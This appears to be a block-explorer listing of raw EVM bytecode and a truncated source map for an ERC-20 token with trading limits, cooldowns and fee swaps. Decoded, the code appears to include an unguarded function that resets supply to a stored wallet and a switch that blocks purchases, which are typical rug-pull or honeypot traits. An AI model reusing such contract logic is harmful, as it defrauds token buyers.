315760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b606482015260840161085f565b816001600160a01b031663a9059cbb610c526005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610c9f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf91906123dd565b60606004805461079b906121f9565b601154610cf5906001600160a01b03166c01431e0fae6d7217caa00000006117ce565b565b6005546001600160a01b03163314610d215760405162461bcd60e51b815260040161085f90612233565b610cf56000611822565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610dad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161085f565b610dbc3385610a3686856122ad565b5060019392505050565b600061082b338484611137565b6005546001600160a01b03163314610dfd5760405162461bcd60e51b815260040161085f90612233565b612710831015610e5f5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152667468616e20312560c81b606482015260840161085f565b612710821015610ec25760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015267207468616e20312560c01b606482015260840161085f565b612710811015610f275760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f776044820152696572207468616e20312560b01b606482015260840161085f565b610f336012600a6123b7565b610f3d90846123c6565b600955610f4c6012600a6123b7565b610f5690836123c6565b600a556012610f6690600a6123b7565b610f7090826123c6565b600b55505050565b6005546001600160a01b03163314610fa25760405162461bcd60e51b815260040161085f90612233565b6001600160a01b0381166110075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085f565b61101081611822565b50565b6001600160a01b0383166110755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161085f565b6001600160a01b0382166110d65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116111995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161085f565b6001600160a01b0383166000908152601b602052604090205460ff161580156111db57506001600160a01b0382166000908152601b602052604090205460ff16155b1561122f57600754600160b01b900460ff1661122f5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161085f565b6007546001600160a01b03848116911614801561126557506001600160a01b0382166000908152601b602052604090205460ff16155b801561127b5750600754600160a01b900460ff16155b1561134d576009548111156112d25760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d6974000000604482015260640161085f565b600b54816112f5846001600160a01b031660009081526020819052604090205490565b6112ff91906122c0565b111561134d5760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d6974604482015260640161085f565b6007546001600160a01b0384811691161480159061138457506001600160a01b0382166000908152601b602052604090205460ff16155b80156113a957506001600160a01b0383166000908152601b602052604090205460ff16155b80156113bf5750600754600160a01b900460ff16155b1561153857600a548111156114165760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d69740000604482015260640161085f565b6007546001600160a01b038381169116146114a657600b548161144e846001600160a01b031660009081526020819052604090205490565b61145891906122c0565b11156114a65760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d6974604482015260640161085f565b601d5460ff1615611538576001600160a01b0383166000908152601c60205260408120546114d490426122ad565b9050601e5481101561151b5760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b604482015260640161085f565b506001600160a01b0383166000908152601c602052604090204290555b60008060006115686040518060800160405280600081526020016000815260200160008152602001600081525090565b6001600160a01b0387166000908152601b602052604081205460ff161580156115aa57506001600160a01b0387166000908152601b602052604090205460ff16155b80156115c45750600e54600c546115c191906122c0565b43105b600754909150600160a01b900460ff16806115f757506001600160a01b0388166000908152601b602052604090205460ff165b8061161a57506001600160a01b0387166000908152601b602052604090205460ff165b15611628576000925061172e565b6007546001600160a01b038881169116148015611643575080155b156116ba57600d5460030b60011461165a57600080fd5b601a5460195460175460185461167091906122c0565b61167a91906122c0565b61168491906122c0565b604080516080810182526017548152601854602082015260195491810191909152601a546060820152909550859450915061172e565b8061171f576016546015546013546014546116d591906122c0565b6116df91906122c0565b6116e991906122c0565b6040805160808101825260135481526014546020820152601554918101919091526016546060820152909550859450915061172e565b801561172e57600f5494508493505b606461173a85886123c6565b61174491906123fa565b600754909350600160a81b900460ff16801561176e57506007546001600160a01b03898116911614155b1561177d5761177d8583611874565b611791888861178c868a6122ad565b611a29565b82156117c45784156117c457600060646117ab87896123c6565b6117b591906123fa565b90506117c2893083611a29565b505b5050505050505050565b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600754600160a01b900460ff16610991576007805460ff60a01b1916600160a01b1790558115611a1857306000908152602081905260409020546008548110611a1657600160085411156118c757506008545b60006118d48460026123c6565b90506000818460200151846118e991906123c6565b6118f391906123fa565b9050600061190182856122ad565b90504761190d82611c01565b600061191982476122ad565b9050600087602001518661192d91906122ad565b61193790836123fa565b9050600088602001518261194b91906123c6565b9050801561195d5761195d8682611d5b565b885160009061196d8460026123c6565b61197791906123c6565b9050801561199557601054611995906001600160a01b031682611e0d565b60408a01516000906119a88560026123c6565b6119b291906123c6565b905080156119d0576012546119d0906001600160a01b031682611e0d565b60608b01516000906119e38660026123c6565b6119ed91906123c6565b90508015611a0b57601154611a0b906001600160a01b031682611e0d565b505050505050505050505b505b6007805460ff60a01b191690555050565b6001600160a01b038316611a8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161085f565b6001600160a01b038216611aef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161085f565b6001600160a01b03831660009081526020819052604090205481811015611b675760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161085f565b611b7182826122ad565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611ba79084906122c0565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bf391815260200190565b60405180910390a350505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611c3657611c36612268565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb3919061241c565b81600181518110611cc657611cc6612268565b6001600160a01b039283166020918202929092010152600654611cec9130911684611013565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d25908590600090869030904290600401612439565b600060405180830381600087803b158015611d3f57600080fd5b505af1158015611d53573d6000803e3d6000fd5b505050505050565b600654611d739030906001600160a01b031684611013565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611de1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e0691906124aa565b5050505050565b80471015611e5d5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161085f565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611eaa576040519150601f19603f3d011682016040523d82523d6000602084013e611eaf565b606091505b50509050806108cf5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161085f565b600060208083528351808285015260005b81811015611f5357858101830151858201604001528201611f37565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461101057600080fd5b8035611f9481611f74565b919050565b60008060408385031215611fac57600080fd5b8235611fb781611f74565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b801515811461101057600080fd5b8035611f9481611fdb565b6000806040838503121561200757600080fd5b823567ffffffffffffffff8082111561201f57600080fd5b818501915085601f83011261203357600080fd5b813560208282111561204757612047611fc5565b8160051b604051601f19603f8301168101818110868211171561206c5761206c611fc5565b60405292835281830193508481018201928984111561208a57600080fd5b948201945b838610156120af576120a086611f89565b8552948201949382019361208f565b96506120be9050878201611fe9565b9450505050509250929050565b6000602082840312156120dd57600080fd5b81356120e881611fdb565b9392505050565b60008060006060848603121561210457600080fd5b833561210f81611f74565b9250602084013561211f81611f74565b929592945050506040919091013590565b6000806040838503121561214357600080fd5b823561214e81611f74565b9150602083013561215e81611fdb565b809150509250929050565b60006020828403121561217b57600080fd5b5035919050565b60006020828403121561219457600080fd5b81356120e881611f74565b600080604083850312156121b257600080fd5b82356121bd81611f74565b9150602083013561215e81611f74565b6000806000606084860312156121e257600080fd5b505081359360208301359350604090920135919050565b600181811c9082168061220d57607f821691505b60208210810361222d57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016122a6576122a661227e565b5060010190565b8181038181111561082f5761082f61227e565b8082018082111561082f5761082f61227e565b600181815b8085111561230e5781600019048211156122f4576122f461227e565b8085161561230157918102915b93841c93908002906122d8565b509250929050565b6000826123255750600161082f565b816123325750600061082f565b816001811461234857600281146123525761236e565b600191505061082f565b60ff8411156123635761236361227e565b50506001821b61082f565b5060208310610133831016604e8410600b8410161715612391575081810a61082f565b61239b83836122d3565b80600019048211156123af576123af61227e565b029392505050565b60006120e860ff841683612316565b808202811582820484141761082f5761082f61227e565b6000602082840312156123ef57600080fd5b81516120e881611fdb565b60008261241757634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561242e57600080fd5b81516120e881611f74565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124895784516001600160a01b031683529383019391830191600101612464565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156124bf57600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208a9c8b7af3ba6837af2fa7a298dcc0dd434ca05943bd9a2748b531e8b5ea8a0764736f6c63430008130033

Deployed Bytecode

0x60806040526004361061024a5760003560e01c80637e237a2a11610139578063c5d32bb2116100b6578063ee36e3591161007a578063ee36e359146106ce578063f2fde38b146106e8578063f66895a314610708578063f84103fc1461072b578063f887ea401461074b578063fbe6324e1461076b57600080fd5b8063c5d32bb214610602578063d2ce0db214610632578063dd62ed3e14610648578063e1b450ad1461068e578063eb5be412146106ae57600080fd5b8063997a654f116100fd578063997a654f146105855780639ee907351461058d578063a457c2d7146105a2578063a8aa1b31146105c2578063a9059cbb146105e257600080fd5b80637e237a2a1461050757806385141a771461051c5780638cd4426d146105325780638da5cb5b1461055257806395d89b411461057057600080fd5b8063355496ca116101c7578063652e2f041161018b578063652e2f041461044c57806366a88d96146104625780636aa5b37f1461047857806370a082311461048e578063728f8eea146104c457600080fd5b8063355496ca1461039357806339509351146103b35780633cbd8e15146103d357806342b6fa111461040b5780634ada218b1461042b57600080fd5b806318160ddd1161020e57806318160ddd1461031757806320800a001461032c57806323b872dd14610341578063274a533c14610361578063313ce5671461037757600080fd5b806306fdde0314610256578063095ea7b3146102815780630e375a5c146102b15780631340538f146102d35780631675d802146102f357600080fd5b3661025157005b600080fd5b34801561026257600080fd5b5061026b61078c565b6040516102789190611f26565b60405180910390f35b34801561028d57600080fd5b506102a161029c366004611f99565b61081e565b6040519015158152602001610278565b3480156102bd57600080fd5b506102d16102cc366004611ff4565b610835565b005b3480156102df57600080fd5b506102d16102ee3660046120cb565b6108d4565b3480156102ff57600080fd5b5061030960085481565b604051908152602001610278565b34801561032357600080fd5b50600254610309565b34801561033857600080fd5b506102d161091c565b34801561034d57600080fd5b506102a161035c3660046120ef565b610995565b34801561036d57600080fd5b50610309600c5481565b34801561038357600080fd5b5060405160128152602001610278565b34801561039f57600080fd5b506102d16103ae366004612130565b610a46565b3480156103bf57600080fd5b506102a16103ce366004611f99565b610a9b565b3480156103df57600080fd5b506012546103f3906001600160a01b031681565b6040516001600160a01b039091168152602001610278565b34801561041757600080fd5b506102d1610426366004612169565b610ad2565b34801561043757600080fd5b506007546102a190600160b01b900460ff1681565b34801561045857600080fd5b50610309600a5481565b34801561046e57600080fd5b50610309600b5481565b34801561048457600080fd5b5061030960095481565b34801561049a57600080fd5b506103096104a9366004612182565b6001600160a01b031660009081526020819052604090205490565b3480156104d057600080fd5b506013546014546015546016546104e79392919084565b604080519485526020850193909352918301526060820152608001610278565b6102d1600d805463ffffffff19166003179055565b34801561052857600080fd5b506103f361dead81565b34801561053e57600080fd5b506102d161054d366004611f99565b610b90565b34801561055e57600080fd5b506005546001600160a01b03166103f3565b34801561057c57600080fd5b5061026b610cc3565b6102d1610cd2565b34801561059957600080fd5b506102d1610cf7565b3480156105ae57600080fd5b506102a16105bd366004611f99565b610d2b565b3480156105ce57600080fd5b506007546103f3906001600160a01b031681565b3480156105ee57600080fd5b506102a16105fd366004611f99565b610dc6565b34801561060e57600080fd5b506102a161061d366004612182565b601b6020526000908152604090205460ff1681565b34801561063e57600080fd5b50610309601e5481565b34801561065457600080fd5b5061030961066336600461219f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561069a57600080fd5b506102d16106a93660046121cd565b610dd3565b3480156106ba57600080fd5b506010546103f3906001600160a01b031681565b3480156106da57600080fd5b50601d546102a19060ff1681565b3480156106f457600080fd5b506102d1610703366004612182565b610f78565b34801561071457600080fd5b50601754601854601954601a546104e79392919084565b34801561073757600080fd5b506011546103f3906001600160a01b031681565b34801561075757600080fd5b506006546103f3906001600160a01b031681565b34801561077757600080fd5b506007546102a190600160a81b900460ff1681565b60606003805461079b906121f9565b80601f01602080910402602001604051908101604052809291908181526020018280546107c7906121f9565b80156108145780601f106107e957610100808354040283529160200191610814565b820191906000526020600020905b8154815290600101906020018083116107f757829003601f168201915b5050505050905090565b600061082b338484611013565b5060015b92915050565b6005546001600160a01b031633146108685760405162461bcd60e51b815260040161085f90612233565b60405180910390fd5b60005b82518110156108cf5781601b600085848151811061088b5761088b612268565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c781612294565b91505061086b565b505050565b6005546001600160a01b031633146108fe5760405162461bcd60e51b815260040161085f90612233565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b031633146109465760405162461bcd60e51b815260040161085f90612233565b476109596005546001600160a01b031690565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610991573d6000803e3d6000fd5b5050565b60006109a2848484611137565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610a275760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161085f565b610a3b8533610a3686856122ad565b611013565b506001949350505050565b6005546001600160a01b03163314610a705760405162461bcd60e51b815260040161085f90612233565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161082b918590610a369086906122c0565b6005546001600160a01b03163314610afc5760405162461bcd60e51b815260040161085f90612233565b612710811115610b745760405162461bcd60e51b815260206004820152603e60248201527f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060448201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e730000606482015260840161085f565b610b806012600a6123b7565b610b8a90826123c6565b60085550565b6005546001600160a01b03163314610bba5760405162461bcd60e51b815260040161085f90612233565b306001600160a01b03831603610c315760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b606482015260840161085f565b816001600160a01b031663a9059cbb610c526005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610c9f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf91906123dd565b60606004805461079b906121f9565b601154610cf5906001600160a01b03166c01431e0fae6d7217caa00000006117ce565b565b6005546001600160a01b03163314610d215760405162461bcd60e51b815260040161085f90612233565b610cf56000611822565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610dad5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161085f565b610dbc3385610a3686856122ad565b5060019392505050565b600061082b338484611137565b6005546001600160a01b03163314610dfd5760405162461bcd60e51b815260040161085f90612233565b612710831015610e5f5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152667468616e20312560c81b606482015260840161085f565b612710821015610ec25760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015267207468616e20312560c01b606482015260840161085f565b612710811015610f275760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f776044820152696572207468616e20312560b01b606482015260840161085f565b610f336012600a6123b7565b610f3d90846123c6565b600955610f4c6012600a6123b7565b610f5690836123c6565b600a556012610f6690600a6123b7565b610f7090826123c6565b600b55505050565b6005546001600160a01b03163314610fa25760405162461bcd60e51b815260040161085f90612233565b6001600160a01b0381166110075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085f565b61101081611822565b50565b6001600160a01b0383166110755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161085f565b6001600160a01b0382166110d65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116111995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161085f565b6001600160a01b0383166000908152601b602052604090205460ff161580156111db57506001600160a01b0382166000908152601b602052604090205460ff16155b1561122f57600754600160b01b900460ff1661122f5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161085f565b6007546001600160a01b03848116911614801561126557506001600160a01b0382166000908152601b602052604090205460ff16155b801561127b5750600754600160a01b900460ff16155b1561134d576009548111156112d25760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d6974000000604482015260640161085f565b600b54816112f5846001600160a01b031660009081526020819052604090205490565b6112ff91906122c0565b111561134d5760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d6974604482015260640161085f565b6007546001600160a01b0384811691161480159061138457506001600160a01b0382166000908152601b602052604090205460ff16155b80156113a957506001600160a01b0383166000908152601b602052604090205460ff16155b80156113bf5750600754600160a01b900460ff16155b1561153857600a548111156114165760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d69740000604482015260640161085f565b6007546001600160a01b038381169116146114a657600b548161144e846001600160a01b031660009081526020819052604090205490565b61145891906122c0565b11156114a65760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d6974604482015260640161085f565b601d5460ff1615611538576001600160a01b0383166000908152601c60205260408120546114d490426122ad565b9050601e5481101561151b5760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b604482015260640161085f565b506001600160a01b0383166000908152601c602052604090204290555b60008060006115686040518060800160405280600081526020016000815260200160008152602001600081525090565b6001600160a01b0387166000908152601b602052604081205460ff161580156115aa57506001600160a01b0387166000908152601b602052604090205460ff16155b80156115c45750600e54600c546115c191906122c0565b43105b600754909150600160a01b900460ff16806115f757506001600160a01b0388166000908152601b602052604090205460ff165b8061161a57506001600160a01b0387166000908152601b602052604090205460ff165b15611628576000925061172e565b6007546001600160a01b038881169116148015611643575080155b156116ba57600d5460030b60011461165a57600080fd5b601a5460195460175460185461167091906122c0565b61167a91906122c0565b61168491906122c0565b604080516080810182526017548152601854602082015260195491810191909152601a546060820152909550859450915061172e565b8061171f576016546015546013546014546116d591906122c0565b6116df91906122c0565b6116e991906122c0565b6040805160808101825260135481526014546020820152601554918101919091526016546060820152909550859450915061172e565b801561172e57600f5494508493505b606461173a85886123c6565b61174491906123fa565b600754909350600160a81b900460ff16801561176e57506007546001600160a01b03898116911614155b1561177d5761177d8583611874565b611791888861178c868a6122ad565b611a29565b82156117c45784156117c457600060646117ab87896123c6565b6117b591906123fa565b90506117c2893083611a29565b505b5050505050505050565b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600754600160a01b900460ff16610991576007805460ff60a01b1916600160a01b1790558115611a1857306000908152602081905260409020546008548110611a1657600160085411156118c757506008545b60006118d48460026123c6565b90506000818460200151846118e991906123c6565b6118f391906123fa565b9050600061190182856122ad565b90504761190d82611c01565b600061191982476122ad565b9050600087602001518661192d91906122ad565b61193790836123fa565b9050600088602001518261194b91906123c6565b9050801561195d5761195d8682611d5b565b885160009061196d8460026123c6565b61197791906123c6565b9050801561199557601054611995906001600160a01b031682611e0d565b60408a01516000906119a88560026123c6565b6119b291906123c6565b905080156119d0576012546119d0906001600160a01b031682611e0d565b60608b01516000906119e38660026123c6565b6119ed91906123c6565b90508015611a0b57601154611a0b906001600160a01b031682611e0d565b505050505050505050505b505b6007805460ff60a01b191690555050565b6001600160a01b038316611a8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161085f565b6001600160a01b038216611aef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161085f565b6001600160a01b03831660009081526020819052604090205481811015611b675760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161085f565b611b7182826122ad565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290611ba79084906122c0565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bf391815260200190565b60405180910390a350505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611c3657611c36612268565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cb3919061241c565b81600181518110611cc657611cc6612268565b6001600160a01b039283166020918202929092010152600654611cec9130911684611013565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d25908590600090869030904290600401612439565b600060405180830381600087803b158015611d3f57600080fd5b505af1158015611d53573d6000803e3d6000fd5b505050505050565b600654611d739030906001600160a01b031684611013565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611de1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e0691906124aa565b5050505050565b80471015611e5d5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161085f565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611eaa576040519150601f19603f3d011682016040523d82523d6000602084013e611eaf565b606091505b50509050806108cf5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161085f565b600060208083528351808285015260005b81811015611f5357858101830151858201604001528201611f37565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461101057600080fd5b8035611f9481611f74565b919050565b60008060408385031215611fac57600080fd5b8235611fb781611f74565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b801515811461101057600080fd5b8035611f9481611fdb565b6000806040838503121561200757600080fd5b823567ffffffffffffffff8082111561201f57600080fd5b818501915085601f83011261203357600080fd5b813560208282111561204757612047611fc5565b8160051b604051601f19603f8301168101818110868211171561206c5761206c611fc5565b60405292835281830193508481018201928984111561208a57600080fd5b948201945b838610156120af576120a086611f89565b8552948201949382019361208f565b96506120be9050878201611fe9565b9450505050509250929050565b6000602082840312156120dd57600080fd5b81356120e881611fdb565b9392505050565b60008060006060848603121561210457600080fd5b833561210f81611f74565b9250602084013561211f81611f74565b929592945050506040919091013590565b6000806040838503121561214357600080fd5b823561214e81611f74565b9150602083013561215e81611fdb565b809150509250929050565b60006020828403121561217b57600080fd5b5035919050565b60006020828403121561219457600080fd5b81356120e881611f74565b600080604083850312156121b257600080fd5b82356121bd81611f74565b9150602083013561215e81611f74565b6000806000606084860312156121e257600080fd5b505081359360208301359350604090920135919050565b600181811c9082168061220d57607f821691505b60208210810361222d57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016122a6576122a661227e565b5060010190565b8181038181111561082f5761082f61227e565b8082018082111561082f5761082f61227e565b600181815b8085111561230e5781600019048211156122f4576122f461227e565b8085161561230157918102915b93841c93908002906122d8565b509250929050565b6000826123255750600161082f565b816123325750600061082f565b816001811461234857600281146123525761236e565b600191505061082f565b60ff8411156123635761236361227e565b50506001821b61082f565b5060208310610133831016604e8410600b8410161715612391575081810a61082f565b61239b83836122d3565b80600019048211156123af576123af61227e565b029392505050565b60006120e860ff841683612316565b808202811582820484141761082f5761082f61227e565b6000602082840312156123ef57600080fd5b81516120e881611fdb565b60008261241757634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561242e57600080fd5b81516120e881611f74565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124895784516001600160a01b031683529383019391830191600101612464565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156124bf57600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208a9c8b7af3ba6837af2fa7a298dcc0dd434ca05943bd9a2748b531e8b5ea8a0764736f6c63430008130033

Deployed Bytecode Sourcemap

7406:10791:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1810:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9560:161;;;;;;;;;;-1:-1:-1;9560:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;9560:161:0;1162:187:1;16944:202:0;;;;;;;;;;-1:-1:-1;16944:202:0;;;;;:::i;:::-;;:::i;:::-;;16322:109;;;;;;;;;;-1:-1:-1;16322:109:0;;;;;:::i;:::-;;:::i;7667:57::-;;;;;;;;;;;;;;;;;;;3330:25:1;;;3318:2;3303:18;7667:57:0;3184:177:1;2125:108:0;;;;;;;;;;-1:-1:-1;2213:12:0;;2125:108;;17749:165;;;;;;;;;;;;;:::i;9727:446::-;;;;;;;;;;-1:-1:-1;9727:446:0;;;;;:::i;:::-;;:::i;7897:28::-;;;;;;;;;;;;;;;;2026:93;;;;;;;;;;-1:-1:-1;2026:93:0;;2109:2;3969:36:1;;3957:2;3942:18;2026:93:0;3827:184:1;16816:120:0;;;;;;;;;;-1:-1:-1;16816:120:0;;;;;:::i;:::-;;:::i;10179:248::-;;;;;;;;;;-1:-1:-1;10179:248:0;;;;;:::i;:::-;;:::i;8200:80::-;;;;;;;;;;-1:-1:-1;8200:80:0;;;;-1:-1:-1;;;;;8200:80:0;;;;;;-1:-1:-1;;;;;4567:32:1;;;4549:51;;4537:2;4522:18;8200:80:0;4403:203:1;16437:248:0;;;;;;;;;;-1:-1:-1;16437:248: